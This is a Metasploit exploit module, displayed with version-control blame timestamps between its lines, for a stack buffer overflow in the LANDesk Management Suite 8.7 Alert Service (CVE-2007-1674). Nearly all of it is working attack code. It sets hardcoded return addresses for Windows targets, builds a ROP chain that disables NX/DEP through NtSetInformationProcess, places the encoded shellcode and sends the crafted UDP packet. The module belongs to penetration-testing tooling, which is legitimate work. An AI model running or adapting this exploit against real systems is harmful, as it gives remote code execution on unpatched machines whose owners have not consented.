2007-04-15 00:46:09 +00:00
|
|
|
##
|
2007-05-07 04:48:45 +00:00
|
|
|
# $Id$
|
2007-04-15 00:46:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-04-15 00:46:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-04-15 00:46:09 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2007-04-15 00:46:09 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in LANDesk Management Suite 8.7. By sending
|
|
|
|
an overly long string to the Alert Service, a buffer is overwritten and arbitrary
|
|
|
|
code can be executed.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2007-05-07 04:48:45 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-04-15 00:46:09 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-1674'],
|
2009-06-07 20:20:42 +00:00
|
|
|
['OSVDB', '34964'],
|
2007-04-15 00:46:09 +00:00
|
|
|
['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2007-04-25 02:51:49 +00:00
|
|
|
'Space' => 336,
|
2007-04-15 00:46:09 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2007-04-25 02:51:49 +00:00
|
|
|
# Aolnsrvr 4.0
|
|
|
|
[ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ],
|
|
|
|
[ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ],
|
|
|
|
[ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ],
|
2007-04-15 00:46:09 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Apr 13 2007'))
|
|
|
|
|
|
|
|
register_options([Opt::RPORT(65535)], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
2007-04-25 02:51:49 +00:00
|
|
|
if (target.name =~ /NX/)
|
|
|
|
txt = Rex::Text.rand_text_alphanumeric(1024)
|
2007-04-15 00:46:09 +00:00
|
|
|
|
2007-04-25 02:51:49 +00:00
|
|
|
ib = target['IB']
|
|
|
|
|
|
|
|
# to bypass NX we need to emulate the call to ZwSetInformationProcess
|
|
|
|
# with generic value (to work on 2k3 SP1-SP2 - XP SP2)
|
|
|
|
|
|
|
|
|
|
|
|
# first we set esi to 0xed by getting the value on the stack
|
|
|
|
#
|
|
|
|
# 0x00401b46:
|
|
|
|
# pop esi <- esi = edh
|
|
|
|
# retn
|
|
|
|
|
|
|
|
txt[ 280, 4 ] = [ib + 0x1b46].pack('V')
|
|
|
|
txt[ 296, 4] = [0xed].pack('V')
|
|
|
|
|
|
|
|
# now we set ecx to 0x7ffe0300, eax to 0xed
|
|
|
|
# 0x00401b43:
|
|
|
|
# pop ecx <- ecx = 0x7ffe0300 - 0xFF0
|
|
|
|
# mov eax, esi <- eax == edh
|
|
|
|
# pop esi <- 0x45b4ea (data section)
|
|
|
|
# retn
|
|
|
|
|
|
|
|
txt[ 300, 4] = [ib + 0x1b43].pack('V')
|
|
|
|
txt[ 304, 4] = [0x7ffe0300 - 0xff0].pack('V')
|
|
|
|
txt[ 308, 4] = [ib + 0x5b4ea].pack('V')
|
|
|
|
|
|
|
|
# we set edx to 0x7FFe300 (ecx + 0xff0)
|
|
|
|
# 0x004106b1:
|
|
|
|
# lea edx, [ecx+0ff0h]
|
|
|
|
# mov [esi+4], edx
|
|
|
|
# mov [esi+8], edi
|
|
|
|
# pop edi
|
|
|
|
# mov [esi+0Ch], eax
|
|
|
|
# pop esi
|
|
|
|
# retn
|
|
|
|
|
|
|
|
txt[ 312, 4] = [ib + 0x106b1].pack('V')
|
|
|
|
|
|
|
|
|
|
|
|
# finally we call NtSetInformationProcess (-1, target['ProcessInfo'], ib+0x4ec84, 4)
|
|
|
|
# 0x0044ec84 is a pointer to 0x2 to disable NX
|
|
|
|
# 0x0042a28e:
|
|
|
|
# call dword ptr [edx]
|
|
|
|
# mov esi, eax
|
|
|
|
# mov eax, esi
|
|
|
|
# pop edi
|
|
|
|
# pop esi
|
|
|
|
# pop ebp
|
|
|
|
# pop ebx
|
|
|
|
# add esp, 134h
|
|
|
|
# retn 1Ch
|
|
|
|
|
|
|
|
txt[ 324, 4] = [ib + 0x2a28e].pack('V') # call dword ptr[ecx]
|
|
|
|
txt[ 332, 16] = [-1, 34, 0x0044ec84, 4].pack('VVVV')
|
|
|
|
|
|
|
|
# we catch the second exception to go back to our shellcode, now that
|
|
|
|
# NX is disabled
|
|
|
|
|
|
|
|
txt[ 652, 4 ] = [ib + 0x23554].pack('V') # (jmp esp in atl.dll)
|
|
|
|
txt[ 684, payload.encoded.length ] = payload.encoded
|
|
|
|
|
|
|
|
else
|
|
|
|
# One-shot overwrite =(
|
|
|
|
txt = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
|
|
|
|
end
|
|
|
|
|
2007-04-15 00:46:09 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-04-25 02:51:49 +00:00
|
|
|
udp_sock.put(txt)
|
2007-04-15 00:46:09 +00:00
|
|
|
|
2007-04-25 02:51:49 +00:00
|
|
|
handler(udp_sock)
|
2007-04-15 00:46:09 +00:00
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|